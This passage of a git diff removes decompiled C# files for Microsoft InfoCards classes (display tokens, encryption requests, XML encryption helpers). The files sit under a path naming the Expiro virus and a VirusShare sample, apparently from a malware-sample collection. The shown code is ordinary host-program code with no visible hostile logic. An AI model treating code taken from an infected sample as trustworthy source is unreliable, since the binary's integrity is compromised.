DisplayClaim(BinaryReader reader) => this.Deserialize(reader); - - public DisplayClaim(string name, List value, string description, string uri) - { - this.m_name = name; - this.m_value = value; - this.m_description = description; - this.m_uri = uri; - } - - public void Serialize(BinaryWriter writer) - { - Utility.SerializeString(writer, this.m_name); - writer.Write((uint) this.m_value.Count); - foreach (string str in this.m_value) - Utility.SerializeString(writer, str); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_uri); - } - - public void Deserialize(BinaryReader reader) - { - this.m_name = Utility.DeserializeString(reader); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_value.Add(Utility.DeserializeString(reader)); - this.m_description = Utility.DeserializeString(reader); - this.m_uri = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaimType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaimType.cs deleted file mode 100644 index 6ad2d2d8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaimType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaimType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum DisplayClaimType : byte - { - NoDisplayToken, - DisplayClaimString, - DisplayClaimList, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayToken.cs deleted file mode 100644 index 62d3c771..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayToken.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayToken - { - private string m_displayString; - private string m_mimeType; - private List m_displayList; - private DisplayClaimType m_displayType; - - public IEnumerable ClaimList => (IEnumerable) this.m_displayList; - - public DisplayToken() => this.m_displayType = DisplayClaimType.NoDisplayToken; - - public DisplayToken(string displayString, string mimeType) - { - this.m_displayString = displayString; - this.m_mimeType = mimeType; - this.m_displayType = DisplayClaimType.DisplayClaimString; - } - - public DisplayToken(List claimList) - { - this.m_displayList = claimList; - this.m_displayType = DisplayClaimType.DisplayClaimList; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.m_displayType); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - Utility.SerializeString(writer, this.m_displayString); - Utility.SerializeString(writer, this.m_mimeType); - break; - case DisplayClaimType.DisplayClaimList: - writer.Write((uint) this.m_displayList.Count); - using (List.Enumerator enumerator = this.m_displayList.GetEnumerator()) - { - while (enumerator.MoveNext()) - enumerator.Current.Serialize(writer); - break; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "ClaimType"); - break; - } - } - - public void Deserialize(BinaryReader reader) - { - this.m_displayType = (DisplayClaimType) reader.ReadByte(); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - this.m_displayString = Utility.DeserializeString(reader); - this.m_mimeType = Utility.DeserializeString(reader); - break; - case DisplayClaimType.DisplayClaimList: - this.m_displayList.Clear(); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_displayList.Add(new DisplayClaim(reader)); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("InvalidDisplayClaimType"))); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptRequest.cs deleted file mode 100644 index 59b711c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class EncryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_cleartext; - private byte[] m_encrypted; - - public EncryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_cleartext = (byte[]) null; - this.m_encrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_cleartext = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_cleartext == null || 0 == this.m_cleartext.Length, "clearText"); - } - - protected override void OnProcess() - { - try - { - this.m_encrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Encrypt(this.m_useOAEP, this.m_cleartext); - } - finally - { - Array.Clear((Array) this.m_cleartext, 0, this.m_cleartext.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_encrypted); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedData.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedData.cs deleted file mode 100644 index ec9735ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedData.cs +++ /dev/null @@ -1,130 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedData -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class EncryptedData - { - private string m_type; - private EncryptedData.EncryptionMethodElement m_encryptionMethod; - private EncryptedData.CipherData m_cipherData; - private SecurityKeyIdentifier m_keyIdentifier; - private SecurityTokenSerializer m_tokenSerializer; - - public EncryptedData() - { - this.m_cipherData = new EncryptedData.CipherData(); - this.m_encryptionMethod = new EncryptedData.EncryptionMethodElement(); - } - - public string EncryptionMethod - { - set => this.m_encryptionMethod.algorithm = value; - } - - public SecurityKeyIdentifier KeyIdentifier - { - set => this.m_keyIdentifier = value; - } - - public string Type - { - set => this.m_type = value; - } - - public SecurityTokenSerializer TokenSerializer - { - set => this.m_tokenSerializer = value; - } - - public void SetUpEncryption( - SymmetricAlgorithm algorithm, - byte[] buffer, - int offset, - int length) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == algorithm, nameof (algorithm)); - byte[] iv; - byte[] cipherText; - this.GenerateIVAndEncrypt(algorithm, buffer, offset, length, out iv, out cipherText); - this.m_cipherData.SetCipherValueFragments(iv, cipherText); - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (EncryptedData), "http://www.w3.org/2001/04/xmlenc#"); - if (!string.IsNullOrEmpty(this.m_type)) - writer.WriteAttributeString("Type", (string) null, this.m_type); - if (!string.IsNullOrEmpty(this.m_encryptionMethod.algorithm)) - this.m_encryptionMethod.WriteTo(writer); - if (this.m_keyIdentifier != null) - this.m_tokenSerializer.WriteKeyIdentifier((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter(writer), this.m_keyIdentifier); - this.m_cipherData.WriteTo(writer); - writer.WriteEndElement(); - } - - private void GenerateIVAndEncrypt( - SymmetricAlgorithm algorithm, - byte[] plainText, - int offset, - int length, - out byte[] iv, - out byte[] cipherText) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - int length1 = algorithm.BlockSize / 8; - iv = new byte[length1]; - randomNumberGenerator.GetBytes(iv); - algorithm.Padding = PaddingMode.PKCS7; - algorithm.Mode = CipherMode.CBC; - using (ICryptoTransform encryptor = algorithm.CreateEncryptor(algorithm.Key, iv)) - cipherText = encryptor.TransformFinalBlock(plainText, offset, length); - } - - private struct CipherData - { - private byte[] m_iv; - private byte[] m_cipherText; - - public byte[] CipherValue => this.m_cipherText; - - public void SetCipherValueFragments(byte[] iv, byte[] cipherText) - { - this.m_iv = iv; - this.m_cipherText = cipherText; - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (CipherData), "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("enc", "CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - if (this.m_iv != null) - writer.WriteBase64(this.m_iv, 0, this.m_iv.Length); - writer.WriteBase64(this.m_cipherText, 0, this.m_cipherText.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - } - - private struct EncryptionMethodElement - { - internal string algorithm; - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", "EncryptionMethod", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteAttributeString("Algorithm", (string) null, this.algorithm); - writer.WriteEndElement(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedFileStoreHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedFileStoreHeader.cs deleted file mode 100644 index c25e9f97..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedFileStoreHeader.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedFileStoreHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 608)] - internal struct EncryptedFileStoreHeader - { - public const int StructSize = 608; - public const int VersionOffset = 0; - public const int SizeOffset = 4; - public const int KeyBlockOffset = 8; - public const int IndexOffset = 600; - public const int DataSizeOffset = 604; - [MarshalAs(UnmanagedType.U4)] - [FieldOffset(0)] - public uint Version; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int Size; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlock KeyBlock; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(600)] - public int IndexSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(604)] - public int DataSize; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedObjectHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedObjectHeader.cs deleted file mode 100644 index 93ea494d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedObjectHeader.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedObjectHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 72)] - internal struct EncryptedObjectHeader - { - public const int StructSize = 72; - public const int IVBlockSize = 32; - public const int IVOffset = 0; - public const int GlobalIdOffset = 32; - public const int LastChangeOffset = 48; - public const int DataSizeOffset = 56; - public const int ObjectTypeOffset = 60; - public const int LocalIdOffset = 64; - public const int TailPaddingOffset = 68; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(32)] - public GlobalId GlobalId; - [MarshalAs(UnmanagedType.I8)] - [FieldOffset(48)] - public long LastChange; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(56)] - public int DataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int ObjectType; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int LocalId; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - private int TailPadding; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptionUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptionUtility.cs deleted file mode 100644 index 755a11de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptionUtility.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptionUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class EncryptionUtility - { - private EncryptionUtility() - { - } - - public static XmlElement EncryptSecurityToken( - SecurityToken tokenToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - profile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, tokenToBeEncrypted); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - public static XmlElement EncryptSecurityToken( - XmlElement elem, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - elem.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - private static XmlElement EncryptToken( - MemoryStream streamToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(encryptingAlgorithm), nameof (encryptingAlgorithm)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == cert, nameof (cert)); - SecurityToken wrappingToken = (SecurityToken) new X509SecurityToken(cert, "id"); - SecurityAlgorithmSuite securityAlgorithmSuite1 = SecurityAlgorithmSuite.Default; - SecurityAlgorithmSuite securityAlgorithmSuite2; - switch (encryptingAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptionAlgorithm", (object) encryptingAlgorithm))); - } - SecurityKeyIdentifier wrappingTokenReference = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) wrappingToken.CreateKeyIdentifierClause() - }); - byte[] numArray = new byte[securityAlgorithmSuite2.DefaultEncryptionKeyDerivationLength / 8]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - WrappedKeySecurityToken keySecurityToken = new WrappedKeySecurityToken(string.Empty, numArray, asymmetricKeyWrapAlgorithm, wrappingToken, wrappingTokenReference); - SecurityKeyIdentifier securityKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(keySecurityToken.GetWrappedKey(), keySecurityToken.WrappingAlgorithm, keySecurityToken.WrappingTokenReference) - }); - SymmetricAlgorithm symmetricAlgorithm = ((SymmetricSecurityKey) keySecurityToken.SecurityKeys[0]).GetSymmetricAlgorithm(encryptingAlgorithm); - EncryptedData encryptedData = new EncryptedData(); - encryptedData.TokenSerializer = (SecurityTokenSerializer) profile.TokenSerializer; - encryptedData.KeyIdentifier = securityKeyIdentifier; - encryptedData.EncryptionMethod = encryptingAlgorithm; - encryptedData.Type = "http://www.w3.org/2001/04/xmlenc#Element"; - encryptedData.SetUpEncryption(symmetricAlgorithm, streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - encryptedData.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - XmlElement xmlElement = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - streamToBeEncrypted.Close(); - input.Close(); - return xmlElement; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs deleted file mode 100644 index 8061b985..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndCreateSecurityTokenRequest : UIAgentAsyncEndRequest - { - public EndCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) => ((GetTokenRequest) this.ParentRequest).Token.DisplayToken.Serialize(writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs deleted file mode 100644 index 179a8d9b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndGetFileNameFromUserRequest : UIAgentAsyncEndRequest - { - public EndGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - GetFileNameResult result = (GetFileNameResult) this.Result; - InfoCardTrace.Assert(null != result, "The get file result cannot be null."); - Utility.SerializeString(writer, result.FileName); - Utility.SerializeBytes(writer, result.FileContent); - writer.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndSelectCardRequest.cs deleted file mode 100644 index fdd740a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndSelectCardRequest.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndSelectCardRequest : UIAgentAsyncEndRequest - { - public EndSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - int result = (int) this.Result; - writer.Write(result); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionList.cs deleted file mode 100644 index e12c2381..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionList.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionList - { - public static ExceptionList AllNonFatal = new ExceptionList(); - public static ExceptionList Empty = new ExceptionList(); - private Dictionary m_list; - - private ExceptionList() => this.m_list = new Dictionary(0); - - public bool Contains(Type exceptionType) => this.m_list.ContainsKey(exceptionType); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionTranslationTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionTranslationTable.cs deleted file mode 100644 index 